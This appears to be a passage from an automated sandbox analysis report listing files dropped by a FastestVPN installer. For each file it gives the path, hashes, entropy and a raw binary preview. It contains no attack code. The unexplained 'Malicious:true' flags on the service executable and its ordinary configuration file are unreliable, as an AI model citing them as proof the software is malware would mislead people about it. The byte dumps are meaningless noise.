                                                                                                                SHA-512:40A8E2CB18FB2D68F0945B6FBF259FA9331327116A6D21A85AAE6AA12600F7FDD3737B5E84E0AE04C584442016882926D9201E16C25EB937838C8BAC24358779
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z............." ..0.."...........A... ...`....... ...............................6....`..................................A..O....`..`............,...*...........@..T............................................ ............... ..H............text...."... ...".................. ..`.rsrc...`....`.......$..............@..@.reloc...............*..............@..B.................A......H........'.......................@.......................................(....*..0...............(....o........(....s....*...0............(.......(....s....(....*6r...p..(....*.0.._.......s!.....s....}.....{....r...p.r'..p(....o.........."...s....(....%~....(....,..{....o....s....z*..0..#.......(......-...(....*..3...(....*s....z...(....%~....(....,.r=..p.r'..p(....s....z*..0..#.......(......-..(....&*..3..(....&*s....z..0..7..........~....%-.&~..........s....%.....(.........

                                                                                                                C:\Program Files\FastestVPN\SQLitePCLRaw.core.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):61608
                                                                                                                Entropy (8bit):6.287396747644481
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:SmOGveifSTtyXEQ3nPGLb4PFvSMJCD2j+/IfHq1wJd9P581Icm/DskdFPYi3K/Ye:yLTtyXEQ3+bO6U+QlrPi1QLsgFP73K/h
                                                                                                                MD5:A760AEACBE049C8C0D5DD66DD9EAA7A0
                                                                                                                SHA1:975896722F2D5A365621EE407ACE3E3294CFC1C3
                                                                                                                SHA-256:C3618538771839CBC6A855E41A1664D5B86313070FC75CA1B58EF74D007DBDE4
                                                                                                                SHA-512:64CF42CF493686A4286320819D10A37CC075088509866E867A341651B7762FFD88750417E3AD72E6FA78908DD17C66363752E5AA2955066BA4930889D36AE3CA
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....b..........." ..0.................. ........... ....................... .......L....`.....................................O.......0................*..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...0...........................@..@.reloc..............................@..B........................H.......@@..<...........|.................................................(....*..(....*..(....*.......*Z~....,.*.oB...&......*.......*b~....-.r...ps....z~....*.(#...o8...*.0..........(#......o9.....(....Q*6.(.....(%...*.0..........(#........o:.....(....Q*R.(.......(....('...*:(#......o?...*N.(.....(.....()...*2(#....o;...*2(#....o<...*..o....*..o....*2(#....o=...*2(#....o>...*6(#.....o....*...0..........s"......}"....{"...-...+....#...s.......(1...*6(#.....o....*6..(....(3..

                                                                                                                C:\Program Files\FastestVPN\SQLitePCLRaw.provider.dynamic_cdecl.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):75432
                                                                                                                Entropy (8bit):6.020201057914009
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:mjb2NmqeZsE64aEKbMsZG0EN3ovewf8KnWE7LJ/ZEBiUN7TK/P:mjbUmqWL3M/WkV2ZNHK/P
                                                                                                                MD5:8DC8D595216B1D7703575B77282F7147
                                                                                                                SHA1:5FBA510AB9D9677B5AF28757BFCFC3E6EE3228F5
                                                                                                                SHA-256:7A8833790323071279C55854F35A1A802BF5D5766CABCFA381889460F95D5864
                                                                                                                SHA-512:F1E79E49CF5F10C9BC88D2AAA078FABD772027360A8C9692334AC3BBCDFEEDD93C2C6234F4DE6C6B4AFBD443FD6315633FE8943229EE0CB8CA6A6F29C2AE97EE
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...e.Z..........." ..0.............".... ... ....... .......................`......E.....`.....................................O.... ...................*...@..........T............................................ ............... ..H............text...(.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......pG...................... .......................................6.......(....*.~....*F~J......o.......*N........s....o...+*..0............(........~......o2...*.0............(........~K.....o....*.0..%.........(..........(........~L.......o....*....0..H.........(..........(........~M....o.............(....(.........{........o....*2~$....o....*2~#....o....*2~H....oz...*6~I.....o~...*:~J......o....*2~%....o....*2~&....o....*>.(.......o....*...0..N........,........s.....

                                                                                                                C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):70824
                                                                                                                Entropy (8bit):6.236705505937758
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:dMDv5NwVvDK0HBDk4rVHe061i/kObvmaLLJBr+tTB7sK/T:SorK0HBDk4rV21HObvm2LJB4BAK/T
                                                                                                                MD5:F7543F2749BAB00FB981A41BE19734F8
                                                                                                                SHA1:8BE0A90C7C011EEF0A775A518F2A29CE4AB035AA
                                                                                                                SHA-256:634CD208B4FE8DB050AC7D782CB953D51E266B62369F0F80B0CF9D10D077A76F
                                                                                                                SHA-512:160FBEB4AE704D00800656274B7680003C64559867ACEFB9274A23A1AEE45A145254E66DF423653CC3776A2FFA2A4F98BA93510109CF9963AED4CEBA2913A106
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... F..........." ..0.............J.... ... ....... .......................`............`.....................................O.... ...................*...@......D...8............................................ ............... ..H............text...P.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................,.......H.......0<................................................................("...*^.("......I...%...}....*:.(".....}....*b.{....%-.&*..s#...o$...*.0..)........{.........(%...t......|......(...+...3.*....0..)........{.........('...t......|......(...+...3.*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*2.(....s)...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{

                                                                                                                C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1685
                                                                                                                Entropy (8bit):4.793020246491965
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:LLVFOGbexvLxcESrKFR8v4rUKtr4DsVZd+LJ0I6YIXjf8bLVFOGblLQM9XIxkKxV:0VNcVrYR8grUOIsX5I6vXapIKKbv
                                                                                                                MD5:92C0400BF8CDD574F669E40B8D0C2BAB
                                                                                                                SHA1:3EB5155763A3A204982D4231C7E882DC91F0016F
                                                                                                                SHA-256:FDC8BFD5790E64F7DE5425BBA4C80A2E8F1648EE037D9A2B61070A8565B12A4A
                                                                                                                SHA-512:9698839D57A4E3A34BA24CB4BDD6CACF97695748089448AC259CD939D952DF395C82A83E260CF75F8004FE33561E1365CDA1AF1C2DC70F63E28E6EA7403CED0D
                                                                                                                Malicious:false
                                                                                                                Preview:.Uninstalling assembly 'C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe'...Affected parameters are:.. logtoconsole = .. logfile = C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog.. assemblypath = C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe..Removing EventLog source FastestVPNService...Warning: The source FastestVPNService is not registered on the local machine...Service FastestVPNService is being removed from the system.....An exception occurred during the uninstallation of the System.ServiceProcess.ServiceInstaller installer...System.ComponentModel.Win32Exception: The specified service does not exist as an installed service..An exception occurred while uninstalling. This exception will be ignored and the uninstall will continue. However, the application might not be fully uninstalled after the uninstall is complete...Installing assembly 'C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe'...Affected

                                                                                                                C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallState

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (7463), with no line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7466
                                                                                                                Entropy (8bit):5.1606801095705865
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:96:R3DrP/zatgCnNjn1x62muDr9aHmzcv/65m7JDcm0BeUanDtEx6vU4ZPn/R++JDrk:NexdYX7OqWovsx1EvsrJ
                                                                                                                MD5:FFB29BD88BD23C639985F1D369DBD1CA
                                                                                                                SHA1:F0AF5F803F59668AD52EA4B212A1CDE00DD5FE14
                                                                                                                SHA-256:1ADB4F9D1D152E018246A0A2762B473D910906340207F57D3F8CE1097E1DE09F
                                                                                                                SHA-512:1C12CF185691EE3D44A8522665F6AD20F41A4EE9C5A758B8DD2ABF7CC8F5F863F5CF5CB919BADFCDEE40394A89DA2C9A9601B93FB01B867932FAD4C03932B94D
                                                                                                                Malicious:false
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?><ArrayOfKeyValueOfanyTypeanyType xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" z:Id="1" z:Type="System.Collections.Hashtable" z:Assembly="0" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><LoadFactor z:Id="2" z:Type="System.Single" z:Assembly="0" xmlns="">0.72</LoadFactor><Version z:Id="3" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Comparer i:nil="true" xmlns="" /><HashCodeProvider i:nil="true" xmlns="" /><HashSize z:Id="4" z:Type="System.Int32" z:Assembly="0" xmlns="">3</HashSize><Keys z:Id="5" z:Type="System.Object[]" z:Assembly="0" z:Size="2" xmlns=""><anyType z:Id="6" z:Type="System.String" z:Assembly="0" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">_reserved_nestedSavedStates</anyType><anyType z:Id="7" z:Type="System.String" z:Assembly="0" xmlns="http://schemas.microsoft.com/20

                                                                                                                C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25768
                                                                                                                Entropy (8bit):6.588649497011045
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:RYTtf+jLXlZfCd8RzDiFrlwkmGWUlupd0IYisq+i0FP27NBY3Yuv+42r:RYpKjlZfC6Fqg7FYiQ7K/Y/+42r
                                                                                                                MD5:22D4E4267DFE093E5E23C2F3D7741AA4
                                                                                                                SHA1:AB18989C4442EB204528E64B18000E8E02FA2C50
                                                                                                                SHA-256:4E296E9B159F5D64E6E71821C9C06260AC02EBB424823ADA64E97DFD418C3CA1
                                                                                                                SHA-512:7F6D1228F93E454477E3C4250D1D0C78995DE8D9AE07FA585DC8BDCBB4A1046338B66BEFE0BD9BF63F61085657F7080A1C6350403292E484F047F9ED791EF43B
                                                                                                                Malicious:true
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._S............"...0..............M... ...`....@.. ...............................0....`..................................M..O....`..,............:...*...........L..8............................................ ............... ..H............text....-... ...................... ..`.rsrc...,....`.......0..............@..@.reloc...............8..............@..B.................M......H........(..H#...........L................................................{....*"..}....*6.(.....(....*..0..g.........(....... ....0.. .....0. .....". .....&*. .....#. .....!. ......*(,...*(-...*(....*(/...*(0...*(1...*..0..J.......(....(....-.(....(....&~....r...p(.....(.......1.~......(....(......(....*Z(-....(....%-.&*o....*....0.."........r...p..(....(....(....(......&..*...................0..#....... F#.....+..(....-..*..X...X....2..*..0..1.......(....o......,...-..*..+.

                                                                                                                C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe.config (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1327
                                                                                                                Entropy (8bit):5.042117116126737
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:JdArztW1oF7Nv+pvH2/+jSLVhOXrRH2/dVv+BvH2/+jSLVtvH2/39y:3Arzcq7h+Fg+mL27Rgdp+dg+mLPg3w
                                                                                                                MD5:E40244BE7715300DC4BA229C25237728
                                                                                                                SHA1:F9D299542C616D860D495CE59A6FD2B90907B2E5
                                                                                                                SHA-256:AE5027694FF0D363F757F112162AC8D49550826872C9A5B2BA67A75F56109C4D
                                                                                                                SHA-512:CBEA4111D0A2D8BB5FF5AD631728C85A38668C6D470AB8A4D59D5334B9309EF34125E9A9F70EA942113212D5B1FD5EABF9DF860F9112B52D55C95EE32BB8721A
                                                                                                                Malicious:true
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup> .. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />.. </startup>.. <runtime>.. <legacyCorruptedStateExceptionsPolicy enabled="true" />.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Owin.Security" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.2.2.0" newVersion="4.2.2.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Owin" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.2.2.0" newVersion="4.2.2.0

                                                                                                                C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):391679
                                                                                                                Entropy (8bit):7.999511035435245
                                                                                                                Encrypted:true
                                                                                                                SSDEEP:6144:OlONGHKHiJNCMTls7osGd5Rc9WCbMp6MipxaJ1Gh6nWPcESQvq2nFP2vOK2hpVJ0:OlOYHKCJr6s5dwWAm6Hpuc6WPlSQvq2O
                                                                                                                MD5:5C12D1B93C6093CB590750435A8A9E42
                                                                                                                SHA1:C199AAD217CF1E0E625ADA9A96F96435D0AF9743
                                                                                                                SHA-256:F63639D125ECE4B847AEC48119BD8BE96935DA2F29FCC8CF2A2E37D28999A929
                                                                                                                SHA-512:81952DFE87C8D4A81892A940A6F3619E898A0BEF7618C06C6E0BDDB59599BCED2FD9F1A0285D84AC11BAD29E7E73382D10DAC0A6049DC25CD86FFA533B149ADD
                                                                                                                Malicious:false
                                                                                                                Preview:Windows Registry Editor Version 5.00..3_7...)...q.A..4.C..mf.SH.....3G..V.J?-.k."......p|.K...e....{Q..4l.9...f]l..C]. ^.)7TP.z.....J.Km..9...p@.GpTE...^I.u...E....t.7l*...D=.>..Z.....y.Z.]..w.t...l...SQ..k..yXt.#V...a.n..5..../U....D...H_.xp?.I.!%.,.+(}.)...a..|...F...Ym..X.....e,.>..I!*$h.TIb;...t.P.<T..>.(O...... ......8.O.='P.CL.N.....h..hW.C?U...hl.....zN..T=....D>gN......G...e.Xo<.d...<..j.D..&..C\Bq.......z.W...-.rV}.....6+.m.A...ohv.f!a6..]..9.^b.]....L."U&...;^......_hq.2..lG.~O..H".N%...v<."...:.a.5*+...1...9.../U.!.F......sw)...U^.........R...B..6=.x.n...JE.... :}..0.(..p.....P.T...I.D:.wW..~..r.K..IfJ.<X#.4-N......C6..4.p.....(ie7....5...4..B.t.....JI.,..(..X!....^......q..d....;..d.m<...9q.....zM......X.K.E.,z`...92..wK.N.....(..G.\..=-..:2...>..5ev...[.o...|..:..9.@sY|>..l..z.:4.&'.g.A...o.H.Vp..X...w.Aa1.]....-.D..{.l|...r.U....51..Ny<.{.h.d..]81..~....D.w.WW...%.r..xV.!..7kR.c>.4...)N..O.Q$.....d0.7./8........(PA...

                                                                                                                C:\Program Files\FastestVPN\Service\InstallUtil.InstallLog

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1004
                                                                                                                Entropy (8bit):4.743456157396208
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:0wL/mMAGQOhPs43XVwL/mMAG8ipNVewL/mMAGbNXpsgOhn:0LTqnVLh6eLY5c
                                                                                                                MD5:FB8F7A7B8FD8826568D2DEE10D1C9AC1
                                                                                                                SHA1:D59BBFA7ED11D7044716AD555C4618824133A06C
                                                                                                                SHA-256:B3C7D69A8763580BB1B0978B8C87FED4E1C8C9934497451D3D813B46B3F8A3F3
                                                                                                                SHA-512:9DE3C7198F3C42227B9DE16246C189DEF584F51B2A17D210D3ED37346BD7B32989B5CB4F26F548E8FD3C88B166F6FBC1BB3A1DA1A35E83DE417ACC0F4A624485
                                                                                                                Malicious:false
                                                                                                                Preview:.....The uninstall is beginning...See the contents of the log file for the C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe assembly's progress...The file is located at C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog.....The uninstall has completed.....Running a transacted installation.....Beginning the Install phase of the installation...See the contents of the log file for the C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe assembly's progress...The file is located at C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog.....The Install phase completed successfully, and the Commit phase is beginning...See the contents of the log file for the C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe assembly's progress...The file is located at C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog.....The Commit phase completed successfully.....The transacted install has complete

                                                                                                                C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):347016
                                                                                                                Entropy (8bit):6.2576059322299855
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6144:+h0+XUaITFNwVI1ZdMfWsaYi3am2Wt6hn7UQjva9v:+u+XUTTvvndMfv64oQu
                                                                                                                MD5:F4B5415B6C9EC38B073779A034421747
                                                                                                                SHA1:DADEC8724A898C84A9F52A86A5D0ACFA71758341
                                                                                                                SHA-256:2672829713F57630F2FC4DA57926456DDA7832F0E0F474F06462D2340B4DC4E3
                                                                                                                SHA-512:82C58B9061CB8B4603B88AB69CD43461A886029AA7CE1A1ADB614F07EEE90FA979F7CC524272D6A494BADC79254906182DE5A90BF992E48160CA5C3DBE57C334
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U=............" ..0..............<... ...@....... ....................................`.................................z<..O....@...............(...#...`.......;..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B.................<......H.......$....m..............H(...;........................................{0...*..{1...*V.(2.....}0.....}1...*...0..;........u......,/(3....{0....{0...o4...,.(5....{1....{1...o6...*.*. .... )UU.Z(3....{0...o7...X )UU.Z(5....{1...o8...X*.0...........r...p......%..{0....................-.q.............-.&.+.......o9....%..{1....................-.q.............-.&.+.......o9....(:...*..{;...*..{<...*V.(2.....};.....}<...*...0..;........u......,/(3....{;....{;...o4...,.(5....{<..

                                                                                                                C:\Program Files\FastestVPN\Service\Microsoft.Owin.Cors.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):24976
                                                                                                                Entropy (8bit):6.836703429014385
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:STg0otikxUoOHLLEzFzd7h8NTif2+3mJJWg/0W2yHRN7OBu1x85zR9zphght:SwtLUoOrud7hqE2+3mdYuz109zpc
                                                                                                                MD5:5E8C253B1394C1E6E396A939C9FC9068
                                                                                                                SHA1:6AE721F34E256FD90A99617BA19040D45FF6A41F
                                                                                                                SHA-256:4B1A93C57580BD0F304B214EAA3C451272821ACAFC6A0EAE34976606030E0D69
                                                                                                                SHA-512:22CCA8638EF56059A9DE79289D3EB8289F0774579059C6785B08D08229E366BC8E9FA591EAAFBB4F2952FF7627D1CA0AB180C2B82555BA9C4BC8806F837F478D
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l?J..........." ..0..0..........^N... ...`....... ..............................L.....`..................................N..O....`..(............:...'...........@..p............................................ ............... ..H............text...d.... ...0.................. ..`.rsrc...(....`.......2..............@..@.reloc...............8..............@..B................@N......H........&..,....................@.......................................0..T........(.....-.r...ps....z.-.r...ps....z..}......o....%-.&s....}......o....%-.&s....}....*.0..?.........(....}.......}.......}.......}......|......(...+..|....(....*..0..%............(....,...(.....{.....o....o....*....0..I........o....(....-%.....(....,..o ... ....o!.....(....+..o ... ....o!....(...+*v..{......o#...Q.P,..Po$...*.*..0..M........o%.....,B.o&....+%.o'.....o ...o(.....().....(*...o+...

                                                                                                                C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):166800
                                                                                                                Entropy (8bit):5.092225196099469
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:JtayaXxHE9B92Pqg6/rKvXkZ5QwupmY6jCPL:yqNDKvUZZkVlL
                                                                                                                MD5:2839920AD2E9C4B08F97715D88586056
                                                                                                                SHA1:88F7544BF59DDD40E3C934C938A20164F3B518F1
                                                                                                                SHA-256:A655B1BC143B918C6F31B52AEA2726C131F474B70BF7E2DDF36FE48B1E6E279D
                                                                                                                SHA-512:E26A141021648398F109B41275154FDFCF139845466C9A37E80A1AD43725D914FD574F59706AD68404555BCB36490CB307E7E0C9158A8B8E94F97CB93E4C0F37
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..Z...........x... ........... ...............................b....`..................................x..O.......8............d...'...........^..p............................................ ............... ..H............text....X... ...Z.................. ..`.rsrc...8............\..............@..@.reloc...............b..............@..B.................x......H........R..............|S......D^......................................j.-.r...ps$...z.s....(....*..0..Y........-.r...ps$...z.o%...s&......r...p(...+.r+..p..((.....(...+........%...%...%...>....(...+*..-.r...ps$...z......(+.........%...o,...*N.sD...%.oC...(....*b.sD...%.s-...oC...(....*2.sD...(....*....0..C........(.....-.rC..ps$...z.-.rM..ps$...z..,...o......}......}......}....*..0..?.........(/...}4......}5......}6......}3.....|4.....(...+..|4...(1...*j.{....,..{....r]..p.

                                                                                                                C:\Program Files\FastestVPN\Service\Microsoft.Owin.Host.HttpListener.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):101776
                                                                                                                Entropy (8bit):6.519631245398067
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:+iE88BMo5Gv8yIu8mRfXU5i8Ubd0L1nDmNxk3NUXwPrSMk7+W+shzS0ICpL:+iE88BMo5Gv8yIu8mRfXU5fUbd01mNxV
                                                                                                                MD5:58D1267BAFC9E0D9531D7C97A08A3A68
                                                                                                                SHA1:1EC6E26D9E71D1CB5C885879CC8F6D3762DC5FD6
                                                                                                                SHA-256:34FB96B4CCA40AC4312E36E3310EACC2C13F2562BAAB7FFE836060965B7AD579
                                                                                                                SHA-512:E6A6EDE57B59CB675D869D1B5BD43C67C864363CE7168538ABB048F911783181546F7CBFEB29EE49EEC21291EEBD442E3BA9819967F8ABE3AD00AC33C94A3620
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c=..........." ..0..\...........z... ........... ...................................`.................................Kz..O....................f...'..........<C..p............................................ ............... ..H............text....Z... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................z......H..........,............A.......B.......................................0..............o+...-..........*......*.0............(...+..-..........*..(...+*....0...........(,....s-...}......}/.....}2........(....r...p.$o/......5...(....r+..p.$o/...}1.....(0...,..o1........(....(2...,....{/...o3...t....}0....{1....(4...-..{0...-..{2...rI..p(....*.0..D........{1....(4...-..{0...-.(5...*.{1....o6...o3....l......(........o6...*.0...........{.......o7...,..*..(....*...0..........s8..

                                                                                                                C:\Program Files\FastestVPN\Service\Microsoft.Owin.Hosting.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):80784
                                                                                                                Entropy (8bit):6.644018601476374
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:hwe4Dxq2afEZznigIM8U/w2ZAfiQ922f5qj1NrVuu26zmb:h54DxLaQAOw2C7922i1JVN6b
                                                                                                                MD5:056A3B1C036A46447EBCA7083DA271A5
                                                                                                                SHA1:8044FD37E124DF9BAFCE4311DB66D6B931120006
                                                                                                                SHA-256:6BEDFFF38EB390D01F0D51340B7B4F8F7B3D1C1C6CEE8888C0A8088EDA19283D
                                                                                                                SHA-512:3399C06120F32219D611D976D778654A2628AC5BA0FA778512FE1101EE461663C5D5819ED5EECF90363F70E69108F5DAA1A3E71E81BB7F9F635AED8908997852
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............(... ...@....... ..............................M.....`..................................'..O....@..(................'...`..........p............................................ ............... ..H............text........ ...................... ..`.rsrc...(....@......................@..@.reloc.......`......................@..B.................'......H........[..............................................................*....(....**....(....**....(....**....(....*..(&.....%-.&(....}......%-.&...'...s(...}......%-.&s....}....*j...(....%-.&.{......o)...*...0..........s........%-.&~*.......,(...+-....(......-..(,...-....(......-..*..o-...}_....o....(,...,.r...p+..o........{_.....(....}`....{`...-..*.......s/...*...0.............(......-..*.o0.....o1.....(.....(...+o.....+w.o..........o3........(4...,/.(5...(..........%...%.

                                                                                                                C:\Program Files\FastestVPN\Service\Microsoft.Owin.Security.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):65960
                                                                                                                Entropy (8bit):6.704364809732977
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:qC7HwuzTT2IiiiiHnt7qMkPFb5NMBFv8n+nwfqw9ScubQyvz8:LTT2IiN09yPFbwBFyysqhvQyvo
                                                                                                                MD5:3B6AD220174768E52510D449C7A5C817
                                                                                                                SHA1:E76CB664268F45939A0A604E31CAB3DBE957510A
                                                                                                                SHA-256:294A04A1305277ABDF2539649F8A7909DAC57ECF61F223600227BC1CDED6E2DC
                                                                                                                SHA-512:43852FA0F4FD12967DAAF81613FF3C52EAD432F39E579E1C5C834595881A9E6AC156BCE326CEE3EB78D11D81AD33792870D31F81D7737483CF36636DB30DFCF1
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ........... .......................@......=.....`.................................e...O....... ................'... ......`...p............................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc....... ......................@..B........................H........H...u..............X............................................0..>........-.r...ps....z.o....r...p..o....,..uW.....(....-..*("...s....z..-.r...ps....z.-.r...ps....z.o....r...p.o ...*..(!....s"...(......(......(....*..{....*R..}.....(.....o#...*..{....*"..}....*..{....*"..}....*z.(!.....(......%-.&s$...(....*..{....*"..}....*..{....*"..}....*..(!....-.r...ps....z..(%...s&...}.....{....o'...-.r...ps(...z*....0..g.........,..*.-.r...ps....z.o)...o*..../..*.o)...o+....

                                                                                                                C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll (copy)

                                                                                                                Download File
